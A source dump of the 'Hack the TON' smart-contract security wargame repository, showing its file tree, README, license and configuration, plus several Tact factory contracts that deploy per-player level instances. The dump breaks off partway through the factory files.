├── .gitignore ├── .prettierrc ├── LICENSE ├── README.md ├── bun.lockb ├── package.json └── packages ├── contracts ├── .gitignore ├── contracts │ ├── factories │ │ ├── access_level_factory.tact │ │ ├── bounce_level_factory.tact │ │ ├── bruteforce_level_factory.tact │ │ ├── coin_level_factory.tact │ │ ├── deposit_level_factory.tact │ │ ├── donate_level_factory.tact │ │ ├── execution_level_factory.tact │ │ ├── gatekeeper_level_factory.tact │ │ ├── introduction_level_factory.tact │ │ ├── intruder_level_factory.tact │ │ ├── jackpot_level_factory.tact │ │ ├── logical_level_factory.tact │ │ ├── partial_level_factory.tact │ │ ├── peek_level_factory.tact │ │ ├── proxy_level_factory.tact │ │ ├── scanner_level_factory.tact │ │ ├── seed_level_factory.tact │ │ ├── swap_level_factory.tact │ │ ├── token_level_factory.tact │ │ ├── tolk_level_factory.tact │ │ └── upgrade_level_factory.tact │ ├── game_manager.tact │ ├── imports │ │ └── stdlib.fc │ ├── leaderboard.tact │ ├── levels │ │ ├── access_level.fc │ │ ├── bounce_level.tact │ │ ├── bruteforce_level.tact │ │ ├── coin_level.tact │ │ ├── deposit_level.tact │ │ ├── donate_level.fc │ │ ├── execution_level.tolk │ │ ├── gatekeeper_level.tact │ │ ├── introduction_level.tact │ │ ├── intruder_level.tact │ │ ├── jackpot_level.fc │ │ ├── logical_level.tolk │ │ ├── partial_level.tact │ │ ├── peek_level.tact │ │ ├── proxy_level.tolk │ │ ├── scanner_level.tact │ │ ├── seed_level.tolk │ │ ├── swap_level.tact │ │ ├── token_level.tolk │ │ ├── tolk_level.tolk │ │ └── upgrade_level.tolk │ ├── messages.tact │ ├── player_stats.tact │ ├── reward_sbt.tact │ └── solutions │ │ ├── execution_solution.tolk │ │ ├── logical_solution.tolk │ │ └── upgrade_solution.tolk ├── images │ ├── advanced-sbt-item.png │ ├── beginner-sbt-item.png │ ├── cover.png │ └── expert-sbt-item.png ├── jest.config.ts ├── metadata │ ├── advanced-sbt-collection.json │ ├── advanced-sbt-item.json │ ├── beginner-sbt-collection.json │ ├── beginner-sbt-item.json │ ├── expert-sbt-collection.json │ └── expert-sbt-item.json ├── package.json ├── scripts │ ├── deployAdvancedSBTCollection.ts │ ├── deployBeginnerSBTCollection.ts │ ├── deployExpertSBTCollection.ts │ ├── deployGameManager.ts │ ├── deployLeaderboard.ts │ ├── registerAccessLevel.ts │ ├── registerBounceLevel.ts │ ├── registerBruteforceLevel.ts │ ├── registerCoinLevel.ts │ ├── registerDepositLevel.ts │ ├── registerDonateLevel.ts │ ├── registerExecutionLevel.ts │ ├── registerGatekeeperLevel.ts │ ├── registerIntroductionLevel.ts │ ├── registerIntruderLevel.ts │ ├── registerJackpotLevel.ts │ ├── registerLogicalLevel.ts │ ├── registerPartialLevel.ts │ ├── registerPeekLevel.ts │ ├── registerProxyLevel.ts │ ├── registerScannerLevel.ts │ ├── registerSeedLevel.ts │ ├── registerSwapLevel.ts │ ├── registerTokenLevel.ts │ ├── registerTolkLevel.ts │ └── registerUpgradeLevel.ts ├── tests │ └── GameManager.spec.ts ├── tsconfig.json └── wrappers │ ├── AccessLevel.compile.ts │ ├── AccessLevel.ts │ ├── AccessLevelFactory.compile.ts │ ├── AccessLevelFactory.ts │ ├── BounceLevel.compile.ts │ ├── BounceLevel.ts │ ├── BounceLevelFactory.compile.ts │ ├── BounceLevelFactory.ts │ ├── BruteforceLevel.compile.ts │ ├── BruteforceLevel.ts │ ├── BruteforceLevelFactory.compile.ts │ ├── BruteforceLevelFactory.ts │ ├── CoinLevel.compile.ts │ ├── CoinLevel.ts │ ├── CoinLevelFactory.compile.ts │ ├── CoinLevelFactory.ts │ ├── DepositLevel.compile.ts │ ├── DepositLevel.ts │ ├── DepositLevelFactory.compile.ts │ ├── DepositLevelFactory.ts │ ├── DonateLevel.compile.ts │ ├── DonateLevel.ts │ ├── DonateLevelFactory.compile.ts │ ├── DonateLevelFactory.ts │ ├── ExecutionLevel.compile.ts │ ├── ExecutionLevel.ts │ ├── ExecutionLevelFactory.compile.ts │ ├── ExecutionLevelFactory.ts │ ├── ExecutionSolution.compile.ts │ ├── ExecutionSolution.ts │ ├── GameManager.compile.ts │ ├── GameManager.ts │ ├── GatekeeperLevel.compile.ts │ ├── GatekeeperLevel.ts │ ├── GatekeeperLevelFactory.compile.ts │ ├── GatekeeperLevelFactory.ts │ ├── IntroductionLevel.compile.ts │ ├── IntroductionLevel.ts │ ├── IntroductionLevelFactory.compile.ts │ ├── IntroductionLevelFactory.ts │ ├── IntruderLevel.compile.ts │ ├── IntruderLevel.ts │ ├── IntruderLevelFactory.compile.ts │ ├── IntruderLevelFactory.ts │ ├── IntruderManager.ts │ ├── JackpotLevel.compile.ts │ ├── JackpotLevel.ts │ ├── JackpotLevelFactory.compile.ts │ ├── JackpotLevelFactory.ts │ ├── Leaderboard.compile.ts │ ├── Leaderboard.ts │ ├── LogicalLevel.compile.ts │ ├── LogicalLevel.ts │ ├── LogicalLevelFactory.compile.ts │ ├── LogicalLevelFactory.ts │ ├── LogicalSolution.compile.ts │ ├── LogicalSolution.ts │ ├── PartialLevel.compile.ts │ ├── PartialLevel.ts │ ├── PartialLevelFactory.compile.ts │ ├── PartialLevelFactory.ts │ ├── PeekLevel.compile.ts │ ├── PeekLevel.ts │ ├── PeekLevelFactory.compile.ts │ ├── PeekLevelFactory.ts │ ├── PlayerStats.compile.ts │ ├── PlayerStats.ts │ ├── ProxyLevel.compile.ts │ ├── ProxyLevel.ts │ ├── ProxyLevelFactory.compile.ts │ ├── ProxyLevelFactory.ts │ ├── RewardSBT.compile.ts │ ├── RewardSBTCollection.ts │ ├── ScannerChild.ts │ ├── ScannerLevel.compile.ts │ ├── ScannerLevel.ts │ ├── ScannerLevelFactory.compile.ts │ ├── ScannerLevelFactory.ts │ ├── SeedLevel.compile.ts │ ├── SeedLevel.ts │ ├── SeedLevelFactory.compile.ts │ ├── SeedLevelFactory.ts │ ├── SwapLevel.compile.ts │ ├── SwapLevel.ts │ ├── SwapLevelFactory.compile.ts │ ├── SwapLevelFactory.ts │ ├── TokenLevel.compile.ts │ ├── TokenLevel.ts │ ├── TokenLevelFactory.compile.ts │ ├── TokenLevelFactory.ts │ ├── TolkLevel.compile.ts │ ├── TolkLevel.ts │ ├── TolkLevelFactory.compile.ts │ ├── TolkLevelFactory.ts │ ├── UpgradeLevel.compile.ts │ ├── UpgradeLevel.ts │ ├── UpgradeLevelFactory.compile.ts │ ├── UpgradeLevelFactory.ts │ ├── UpgradeSolution.compile.ts │ └── UpgradeSolution.ts ├── telegram-bot ├── .gitignore ├── api │ └── index.ts ├── package.json ├── tsconfig.json └── vercel.json └── website ├── .eslintrc.json ├── .gitignore ├── bun.lockb ├── global.d.ts ├── mdx-components.tsx ├── next.config.mjs ├── package.json ├── postcss.config.mjs ├── public ├── icon.png ├── shiki │ ├── languages │ │ ├── grammar-tact.json │ │ └── javascript.tmLanguage.json │ ├── onig.wasm │ └── themes │ │ ├── css-variables.json │ │ ├── github-dark.json │ │ └── github-light.json └── tonconnect-manifest.json ├── src ├── app │ ├── [locale] │ │ ├── [...not-found] │ │ │ └── page.tsx │ │ ├── leaderboard │ │ │ └── page.tsx │ │ ├── level-application │ │ │ └── page.tsx │ │ ├── level │ │ │ └── [name] │ │ │ │ └── page.tsx │ │ ├── not-found.tsx │ │ ├── page.tsx │ │ └── rewards │ │ │ └── page.tsx │ ├── api │ │ └── level-application │ │ │ └── route.ts │ ├── favicon.ico │ ├── globals.css │ └── layout.tsx ├── components │ ├── ActionButtons.tsx │ ├── AddPlayerInputGroup.tsx │ ├── CustomConsole.tsx │ ├── Footer.tsx │ ├── FormSubmitButton.tsx │ ├── FormValidationText.tsx │ ├── Header.tsx │ ├── LeaderboardTable.tsx │ ├── Level.tsx │ ├── LevelsList.tsx │ ├── LocaleSwitcher.tsx │ ├── SourceCode.tsx │ ├── TonConnectButton.tsx │ ├── TypewriterText.tsx │ ├── UpdatePlayerInputGroup.tsx │ ├── Welcome.tsx │ └── assets │ │ ├── ArrowDown.tsx │ │ ├── ArrowForward.tsx │ │ ├── HackTheTon.tsx │ │ ├── LeftArrow.tsx │ │ └── socials │ │ ├── Discord.tsx │ │ ├── GitHub.tsx │ │ ├── Telegram.tsx │ │ └── Twitter.tsx ├── constants │ └── levels.tsx ├── fonts │ └── CourierNew.ttf ├── hooks │ ├── useAsyncInitialize.ts │ ├── useContractAdapter.ts │ ├── useGameManager.ts │ ├── useLangDictionary.ts │ ├── useLeaderboard.ts │ ├── usePlayerStats.ts │ ├── usePollingEffect.ts │ ├── useRewards.ts │ ├── useTonApiClient.ts │ └── useTonConnect.ts ├── i18n.config.ts ├── lang-dictionaries │ ├── en.json │ └── ru.json ├── markdown │ ├── en │ │ └── levels │ │ │ ├── access │ │ │ ├── completed-description.mdx │ │ │ └── description.mdx │ │ │ ├── bounce │ │ │ ├── completed-description.mdx │ │ │ └── description.mdx │ │ │ ├── bruteforce │ │ │ ├── completed-description.mdx │ │ │ └── description.mdx │ │ │ ├── coin │ │ │ ├── completed-description.mdx │ │ │ └── description.mdx │ │ │ ├── deposit │ │ │ ├── completed-description.mdx │ │ │ └── description.mdx │ │ │ ├── donate │ │ │ ├── completed-description.mdx │ │ │ └── description.mdx │ │ │ ├── execution │ │ │ ├── completed-description.mdx │ │ │ └── description.mdx │ │ │ ├── gatekeeper │ │ │ ├── completed-description.mdx │ │ │ └── description.mdx │ │ │ ├── introduction │ │ │ ├── completed-description.mdx │ │ │ └── description.mdx │ │ │ ├── intruder │ │ │ ├── completed-description.mdx │ │ │ └── description.mdx │ │ │ ├── jackpot │ │ │ ├── completed-description.mdx │ │ │ └── description.mdx │ │ │ ├── logical │ │ │ ├── completed-description.mdx │ │ │ └── description.mdx │ │ │ ├── partial │ │ │ ├── completed-description.mdx │ │ │ └── description.mdx │ │ │ ├── peek │ │ │ ├── completed-description.mdx │ │ │ └── description.mdx │ │ │ ├── proxy │ │ │ ├── completed-description.mdx │ │ │ └── description.mdx │ │ │ ├── scanner │ │ │ ├── completed-description.mdx │ │ │ └── description.mdx │ │ │ ├── seed │ │ │ ├── completed-description.mdx │ │ │ └── description.mdx │ │ │ ├── swap │ │ │ ├── completed-description.mdx │ │ │ └── description.mdx │ │ │ ├── token │ │ │ ├── completed-description.mdx │ │ │ └── description.mdx │ │ │ ├── tolk │ │ │ ├── completed-description.mdx │ │ │ └── description.mdx │ │ │ └── upgrade │ │ │ ├── completed-description.mdx │ │ │ └── description.mdx │ └── ru │ │ └── levels │ │ ├── access │ │ ├── completed-description.mdx │ │ └── description.mdx │ │ ├── bounce │ │ ├── completed-description.mdx │ │ └── description.mdx │ │ ├── bruteforce │ │ ├── completed-description.mdx │ │ └── description.mdx │ │ ├── coin │ │ ├── completed-description.mdx │ │ └── description.mdx │ │ ├── deposit │ │ ├── completed-description.mdx │ │ └── description.mdx │ │ ├── donate │ │ ├── completed-description.mdx │ │ └── description.mdx │ │ ├── execution │ │ ├── completed-description.mdx │ │ └── description.mdx │ │ ├── gatekeeper │ │ ├── completed-description.mdx │ │ └── description.mdx │ │ ├── introduction │ │ ├── completed-description.mdx │ │ └── description.mdx │ │ ├── intruder │ │ ├── completed-description.mdx │ │ └── description.mdx │ │ ├── jackpot │ │ ├── completed-description.mdx │ │ └── description.mdx │ │ ├── logical │ │ ├── completed-description.mdx │ │ └── description.mdx │ │ ├── partial │ │ ├── completed-description.mdx │ │ └── description.mdx │ │ ├── peek │ │ ├── completed-description.mdx │ │ └── description.mdx │ │ ├── proxy │ │ ├── completed-description.mdx │ │ └── description.mdx │ │ ├── scanner │ │ ├── completed-description.mdx │ │ └── description.mdx │ │ ├── seed │ │ ├── completed-description.mdx │ │ └── description.mdx │ │ ├── swap │ │ ├── completed-description.mdx │ │ └── description.mdx │ │ ├── token │ │ ├── completed-description.mdx │ │ └── description.mdx │ │ ├── tolk │ │ ├── completed-description.mdx │ │ └── description.mdx │ │ └── upgrade │ │ ├── completed-description.mdx │ │ └── description.mdx ├── middleware.ts ├── providers │ └── TonConnectProvider.tsx ├── serverActions.ts └── utils │ ├── console.ts │ ├── grammar-func.json │ ├── grammar-tact.json │ ├── grammar-tolk.json │ ├── highlight-func-code.ts │ ├── highlight-tact-code.ts │ ├── highlight-tolk-code.ts │ └── lang-dictionary.ts ├── tailwind.config.ts └── tsconfig.json /.gitignore: -------------------------------------------------------------------------------- 1 | # See https://help.github.com/articles/ignoring-files/ for more about ignoring files. 2 | 3 | # dependencies 4 | /node_modules 5 | /.pnp 6 | .pnp.js 7 | .yarn/install-state.gz 8 | 9 | # testing 10 | /coverage 11 | 12 | # next.js 13 | /.next/ 14 | /out/ 15 | 16 | # production 17 | /build 18 | 19 | # misc 20 | .DS_Store 21 | *.pem 22 | 23 | # debug 24 | npm-debug.log* 25 | yarn-debug.log* 26 | yarn-error.log* 27 | 28 | # local env files 29 | .env*.local 30 | 31 | # vercel 32 | .vercel 33 | 34 | # typescript 35 | *.tsbuildinfo 36 | next-env.d.ts 37 | -------------------------------------------------------------------------------- /.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "semi": false 3 | } 4 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2024 0xDmitry 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining 6 | a copy of this software and associated documentation files (the 7 | "Software"), to deal in the Software without restriction, including 8 | without limitation the rights to use, copy, modify, merge, publish, 9 | distribute, sublicense, and/or sell copies of the Software, and to 10 | permit persons to whom the Software is furnished to do so, subject to 11 | the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included 14 | in all copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS 17 | OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 19 | IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY 20 | CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, 21 | TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE 22 | SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Hack the TON 2 | 3 | Hack the TON is a TON based wargame inspired by [The Ethernaut](https://ethernaut.openzeppelin.com), to be played in the TON Virtual Machine. Each level is a smart contract that needs to be hacked. 4 | 5 | The game acts both as a tool for those interested in learning TON security and development, and as a way to catalogue historical hacks as levels. 6 | 7 | If you have an idea for a level or would like to contribute in any way, please contact me in [Telegram](https://t.me/dimtry0x) or [Twitter](https://x.com/0xDmitry)! 8 | 9 | ## Deployed Versions 10 | 11 | You can find the current, official version at [hacktheton.com](https://hacktheton.com) 12 | 13 | ## Install and Build 14 | 15 | ### Install 16 | 17 | `bun install` 18 | 19 | ### Build Website 20 | 21 | `bun build:website` 22 | 23 | ### Start Website 24 | 25 | `bun start:website` 26 | 27 | ### Build Contracts 28 | 29 | `bun build:contracts` 30 | 31 | ### Test Contracts 32 | 33 | `bun test:contracts` 34 | 35 | ### Run Contracts 36 | 37 | `bun run:contracts` 38 | -------------------------------------------------------------------------------- /bun.lockb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xDmitry/hacktheton/543f32a6ea6267cb05f4af701a9933ca388d7f62/bun.lockb -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hacktheton", 3 | "workspaces": [ 4 | "packages/*" 5 | ], 6 | "scripts": { 7 | "lint:website": "cd packages/website && bun run lint", 8 | "build:website": "cd packages/website && bun run build", 9 | "start:website": "cd packages/website && bun run start", 10 | "dev:website": "cd packages/website && bun run dev", 11 | "build:contracts": "cd packages/contracts && bun run build", 12 | "test:contracts": "cd packages/contracts && bun run build && bun run test", 13 | "run:contracts": "cd packages/contracts && bun run build && bun run start" 14 | }, 15 | "devDependencies": { 16 | "@types/bun": "latest" 17 | }, 18 | "peerDependencies": { 19 | "typescript": "^5.0.0" 20 | }, 21 | "license": "MIT" 22 | } 23 | -------------------------------------------------------------------------------- /packages/contracts/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | temp 3 | build 4 | dist 5 | .DS_Store 6 | 7 | # VS Code 8 | .vscode/* 9 | .history/ 10 | *.vsix 11 | 12 | # IDEA files 13 | .idea 14 | 15 | # VIM 16 | Session.vim 17 | -------------------------------------------------------------------------------- /packages/contracts/contracts/factories/access_level_factory.tact: -------------------------------------------------------------------------------- 1 | import "@stdlib/deploy"; 2 | import "../player_stats"; 3 | import "../messages"; 4 | const deploy_value: Int = ton("0.01"); 5 | const gas_consumption: Int = ton("0.015"); 6 | 7 | contract AccessLevelFactory with Deployable { 8 | game_manager: Address; 9 | nonce: Int = 0; 10 | level_code: Cell; 11 | init(game_manager: Address, level_code: Cell){ 12 | self.game_manager = game_manager; 13 | self.level_code = level_code; 14 | } 15 | 16 | receive(msg: DeployLevel){ 17 | let player_stats_init: StateInit = initOf PlayerStats(self.game_manager, 18 | msg.player 19 | ); 20 | let player_stats_address: Address = contractAddress(player_stats_init); 21 | let ctx: Context = context(); 22 | require(ctx.sender == player_stats_address, "Wrong sender"); 23 | let level_init_data: Builder = beginCell(); 24 | level_init_data = level_init_data.storeAddress(msg.player); 25 | level_init_data = level_init_data.storeUint(self.nonce, 32); 26 | level_init_data = level_init_data.storeAddress(myAddress()); 27 | level_init_data = level_init_data.storeInt(-1, 1); 28 | let level_address: Address = contractAddress(StateInit{ 29 | code: self.level_code, 30 | data: level_init_data.endCell() 31 | } 32 | ); 33 | send(SendParameters{ 34 | to: level_address, 35 | value: deploy_value, 36 | bounce: false, 37 | code: self.level_code, 38 | data: level_init_data.endCell() 39 | } 40 | ); 41 | self.nonce += 1; 42 | send(SendParameters{ 43 | to: ctx.sender, 44 | value: (ctx.value - deploy_value) - gas_consumption, 45 | bounce: false, 46 | body: LevelDeployed{name: "access", address: level_address}.toCell() 47 | } 48 | ); 49 | } 50 | } -------------------------------------------------------------------------------- /packages/contracts/contracts/factories/bounce_level_factory.tact: -------------------------------------------------------------------------------- 1 | import "@stdlib/deploy"; 2 | import "../levels/bounce_level"; 3 | import "../player_stats"; 4 | import "../messages"; 5 | const deploy_value: Int = ton("0.03"); 6 | const gas_consumption: Int = ton("0.015"); 7 | 8 | contract BounceLevelFactory with Deployable { 9 | game_manager: Address; 10 | nonce: Int = 0; 11 | init(game_manager: Address){ 12 | self.game_manager = game_manager; 13 | } 14 | 15 | receive(msg: DeployLevel){ 16 | let player_stats_init: StateInit = initOf PlayerStats(self.game_manager, 17 | msg.player 18 | ); 19 | let player_stats_address: Address = contractAddress(player_stats_init); 20 | let ctx: Context = context(); 21 | require(ctx.sender == player_stats_address, "Wrong sender"); 22 | let level_init: StateInit = initOf BounceLevel(msg.player, self.nonce); 23 | let level_address: Address = contractAddress(level_init); 24 | send(SendParameters{ 25 | to: level_address, 26 | value: deploy_value, 27 | bounce: false, 28 | data: level_init.data, 29 | code: level_init.code, 30 | body: Deploy{queryId: 0}.toCell() 31 | } 32 | ); 33 | self.nonce += 1; 34 | send(SendParameters{ 35 | to: ctx.sender, 36 | value: (ctx.value - deploy_value) - gas_consumption, 37 | bounce: false, 38 | body: LevelDeployed{name: "bounce", address: level_address}.toCell() 39 | } 40 | ); 41 | } 42 | } -------------------------------------------------------------------------------- /packages/contracts/contracts/factories/bruteforce_level_factory.tact: -------------------------------------------------------------------------------- 1 | import "@stdlib/deploy"; 2 | import "../levels/bruteforce_level"; 3 | import "../player_stats"; 4 | import "../messages"; 5 | const deploy_value: Int = ton("0.01"); 6 | const gas_consumption: Int = ton("0.015"); 7 | 8 | contract BruteforceLevelFactory with Deployable { 9 | game_manager: Address; 10 | nonce: Int = 0; 11 | init(game_manager: Address){ 12 | self.game_manager = game_manager; 13 | } 14 | 15 | receive(msg: DeployLevel){ 16 | let player_stats_init: StateInit = initOf PlayerStats(self.game_manager, 17 | msg.player 18 | ); 19 | let player_stats_address: Address = contractAddress(player_stats_init); 20 | let ctx: Context = context(); 21 | require(ctx.sender == player_stats_address, "Wrong sender"); 22 | let level_init: StateInit = initOf BruteforceLevel(msg.player, self.nonce); 23 | let level_address: Address = contractAddress(level_init); 24 | send(SendParameters{ 25 | to: level_address, 26 | value: deploy_value, 27 | bounce: false, 28 | data: level_init.data, 29 | code: level_init.code, 30 | body: Deploy{queryId: 0}.toCell() 31 | } 32 | ); 33 | self.nonce += 1; 34 | send(SendParameters{ 35 | to: ctx.sender, 36 | value: (ctx.value - deploy_value) - gas_consumption, 37 | bounce: false, 38 | body: LevelDeployed{name: "bruteforce", address: level_address}.toCell() 39 | } 40 | ); 41 | } 42 | } -------------------------------------------------------------------------------- /packages/contracts/contracts/factories/coin_level_factory.tact: -------------------------------------------------------------------------------- 1 | import "@stdlib/deploy"; 2 | import "../levels/coin_level"; 3 | import "../player_stats"; 4 | import "../messages"; 5 | const deploy_value: Int = ton("0.01"); 6 | const gas_consumption: Int = ton("0.015"); 7 | 8 | contract CoinLevelFactory with Deployable { 9 | game_manager: Address; 10 | nonce: Int = 0; 11 | init(game_manager: Address){ 12 | self.game_manager = game_manager; 13 | } 14 | 15 | receive(msg: DeployLevel){ 16 | let player_stats_init: StateInit = initOf PlayerStats(self.game_manager, 17 | msg.player 18 | ); 19 | let player_stats_address: Address = contractAddress(player_stats_init); 20 | let ctx: Context = context(); 21 | require(ctx.sender == player_stats_address, "Wrong sender"); 22 | let level_init: StateInit = initOf CoinLevel(msg.player, self.nonce); 23 | let level_address: Address = contractAddress(level_init); 24 | send(SendParameters{ 25 | to: level_address, 26 | value: deploy_value, 27 | bounce: false, 28 | data: level_init.data, 29 | code: level_init.code, 30 | body: Deploy{queryId: 0}.toCell() 31 | } 32 | ); 33 | self.nonce += 1; 34 | send(SendParameters{ 35 | to: ctx.sender, 36 | value: (ctx.value - deploy_value) - gas_consumption, 37 | bounce: false, 38 | body: LevelDeployed{name: "coin", address: level_address}.toCell() 39 | } 40 | ); 41 | } 42 | } -------------------------------------------------------------------------------- /packages/contracts/contracts/factories/deposit_level_factory.tact: -------------------------------------------------------------------------------- 1 | import "@stdlib/deploy"; 2 | import "../levels/deposit_level"; 3 | import "../player_stats"; 4 | import "../messages"; 5 | const deploy_value: Int = ton("0.01"); 6 | const gas_consumption: Int = ton("0.015"); 7 | 8 | contract DepositLevelFactory with Deployable { 9 | game_manager: Address; 10 | nonce: Int = 0; 11 | init(game_manager: Address){ 12 | self.game_manager = game_manager; 13 | } 14 | 15 | receive(msg: DeployLevel){ 16 | let player_stats_init: StateInit = initOf PlayerStats(self.game_manager, 17 | msg.player 18 | ); 19 | let player_stats_address: Address = contractAddress(player_stats_init); 20 | let ctx: Context = context(); 21 | require(ctx.sender == player_stats_address, "Wrong sender"); 22 | let level_init: StateInit = initOf DepositLevel(msg.player, self.nonce); 23 | let level_address: Address = contractAddress(level_init); 24 | send(SendParameters{ 25 | to: level_address, 26 | value: deploy_value, 27 | bounce: false, 28 | data: level_init.data, 29 | code: level_init.code, 30 | body: Deploy{queryId: 0}.toCell() 31 | } 32 | ); 33 | self.nonce += 1; 34 | send(SendParameters{ 35 | to: ctx.sender, 36 | value: (ctx.value - deploy_value) - gas_consumption, 37 | bounce: false, 38 | body: LevelDeployed{name: "deposit", address: level_address}.toCell() 39 | } 40 | ); 41 | } 42 | } -------------------------------------------------------------------------------- /packages/contracts/contracts/factories/donate_level_factory.tact: -------------------------------------------------------------------------------- 1 | import "@stdlib/deploy"; 2 | import "../player_stats"; 3 | import "../messages"; 4 | const deploy_value: Int = ton("0.03"); 5 | const gas_consumption: Int = ton("0.015"); 6 | 7 | contract DonateLevelFactory with Deployable { 8 | game_manager: Address; 9 | nonce: Int = 0; 10 | level_code: Cell; 11 | init(game_manager: Address, level_code: Cell){ 12 | self.game_manager = game_manager; 13 | self.level_code = level_code; 14 | } 15 | 16 | receive(msg: DeployLevel){ 17 | let player_stats_init: StateInit = initOf PlayerStats(self.game_manager, 18 | msg.player 19 | ); 20 | let player_stats_address: Address = contractAddress(player_stats_init); 21 | let ctx: Context = context(); 22 | require(ctx.sender == player_stats_address, "Wrong sender"); 23 | let level_init_data: Builder = beginCell(); 24 | level_init_data = level_init_data.storeAddress(msg.player); 25 | level_init_data = level_init_data.storeUint(self.nonce, 32); 26 | level_init_data = level_init_data.storeAddress(newAddress(0, 0)); 27 | level_init_data = level_init_data.storeAddress(newAddress(0, 0)); 28 | level_init_data = level_init_data.storeUint(0, 32); 29 | let level_address: Address = contractAddress(StateInit{ 30 | code: self.level_code, 31 | data: level_init_data.endCell() 32 | } 33 | ); 34 | send(SendParameters{ 35 | to: level_address, 36 | value: deploy_value, 37 | bounce: false, 38 | code: self.level_code, 39 | data: level_init_data.endCell() 40 | } 41 | ); 42 | self.nonce += 1; 43 | send(SendParameters{ 44 | to: ctx.sender, 45 | value: (ctx.value - deploy_value) - gas_consumption, 46 | bounce: false, 47 | body: LevelDeployed{name: "donate", address: level_address}.toCell() 48 | } 49 | ); 50 | } 51 | } -------------------------------------------------------------------------------- /packages/contracts/contracts/factories/execution_level_factory.tact: -------------------------------------------------------------------------------- 1 | import "@stdlib/deploy"; 2 | import "../player_stats"; 3 | import "../messages"; 4 | const deploy_value: Int = ton("0.03"); 5 | const gas_consumption: Int = ton("0.015"); 6 | 7 | contract ExecutionLevelFactory with Deployable { 8 | game_manager: Address; 9 | nonce: Int = 0; 10 | level_code: Cell; 11 | init(game_manager: Address, level_code: Cell){ 12 | self.game_manager = game_manager; 13 | self.level_code = level_code; 14 | } 15 | 16 | receive(msg: DeployLevel){ 17 | let player_stats_init: StateInit = initOf PlayerStats(self.game_manager, 18 | msg.player 19 | ); 20 | let player_stats_address: Address = contractAddress(player_stats_init); 21 | let ctx: Context = context(); 22 | require(ctx.sender == player_stats_address, "Wrong sender"); 23 | let level_init_data: Builder = beginCell(); 24 | level_init_data = level_init_data.storeAddress(msg.player); 25 | level_init_data = level_init_data.storeUint(self.nonce, 32); 26 | let level_address: Address = contractAddress(StateInit{ 27 | code: self.level_code, 28 | data: level_init_data.endCell() 29 | } 30 | ); 31 | send(SendParameters{ 32 | to: level_address, 33 | value: deploy_value, 34 | bounce: false, 35 | code: self.level_code, 36 | data: level_init_data.endCell() 37 | } 38 | ); 39 | self.nonce += 1; 40 | send(SendParameters{ 41 | to: ctx.sender, 42 | value: (ctx.value - deploy_value) - gas_consumption, 43 | bounce: false, 44 | body: LevelDeployed{name: "execution", address: level_address}.toCell() 45 | } 46 | ); 47 | } 48 | } -------------------------------------------------------------------------------- /packages/contracts/contracts/factories/gatekeeper_level_factory.tact: -------------------------------------------------------------------------------- 1 | import "@stdlib/deploy"; 2 | import "../levels/gatekeeper_level"; 3 | import "../player_stats"; 4 | import "../messages"; 5 | const deploy_value: Int = ton("0.01"); 6 | const gas_consumption: Int = ton("0.015"); 7 | 8 | contract GatekeeperLevelFactory with Deployable { 9 | game_manager: Address; 10 | nonce: Int = 0; 11 | init(game_manager: Address){ 12 | self.game_manager = game_manager; 13 | } 14 | 15 | receive(msg: DeployLevel){ 16 | let player_stats_init: StateInit = initOf PlayerStats(self.game_manager, 17 | msg.player 18 | ); 19 | let player_stats_address: Address = contractAddress(player_stats_init); 20 | let ctx: Context = context(); 21 | require(ctx.sender == player_stats_address, "Wrong sender"); 22 | let level_init: StateInit = initOf GatekeeperLevel(msg.player, self.nonce); 23 | let level_address: Address = contractAddress(level_init); 24 | send(SendParameters{ 25 | to: level_address, 26 | value: deploy_value, 27 | bounce: false, 28 | data: level_init.data, 29 | code: level_init.code, 30 | body: Deploy{queryId: 0}.toCell() 31 | } 32 | ); 33 | self.nonce += 1; 34 | send(SendParameters{ 35 | to: ctx.sender, 36 | value: (ctx.value - deploy_value) - gas_consumption, 37 | bounce: false, 38 | body: LevelDeployed{name: "gatekeeper", address: level_address}.toCell() 39 | } 40 | ); 41 | } 42 | } -------------------------------------------------------------------------------- /packages/contracts/contracts/factories/introduction_level_factory.tact: -------------------------------------------------------------------------------- 1 | import "@stdlib/deploy"; 2 | import "../levels/introduction_level"; 3 | import "../player_stats"; 4 | import "../messages"; 5 | const deploy_value: Int = ton("0.01"); 6 | const gas_consumption: Int = ton("0.015"); 7 | 8 | contract IntroductionLevelFactory with Deployable { 9 | game_manager: Address; 10 | nonce: Int = 0; 11 | init(game_manager: Address){ 12 | self.game_manager = game_manager; 13 | } 14 | 15 | receive(msg: DeployLevel){ 16 | let player_stats_init: StateInit = initOf PlayerStats(self.game_manager, 17 | msg.player 18 | ); 19 | let player_stats_address: Address = contractAddress(player_stats_init); 20 | let ctx: Context = context(); 21 | require(ctx.sender == player_stats_address, "Wrong sender"); 22 | let level_init: StateInit = initOf IntroductionLevel(msg.player, 23 | self.nonce 24 | ); 25 | let level_address: Address = contractAddress(level_init); 26 | send(SendParameters{ 27 | to: level_address, 28 | value: deploy_value, 29 | bounce: false, 30 | data: level_init.data, 31 | code: level_init.code, 32 | body: Deploy{queryId: 0}.toCell() 33 | } 34 | ); 35 | self.nonce += 1; 36 | send(SendParameters{ 37 | to: ctx.sender, 38 | value: (ctx.value - deploy_value) - gas_consumption, 39 | bounce: false, 40 | body: LevelDeployed{ 41 | name: "introduction", 42 | address: level_address 43 | }.toCell() 44 | } 45 | ); 46 | } 47 | } -------------------------------------------------------------------------------- /packages/contracts/contracts/factories/intruder_level_factory.tact: -------------------------------------------------------------------------------- 1 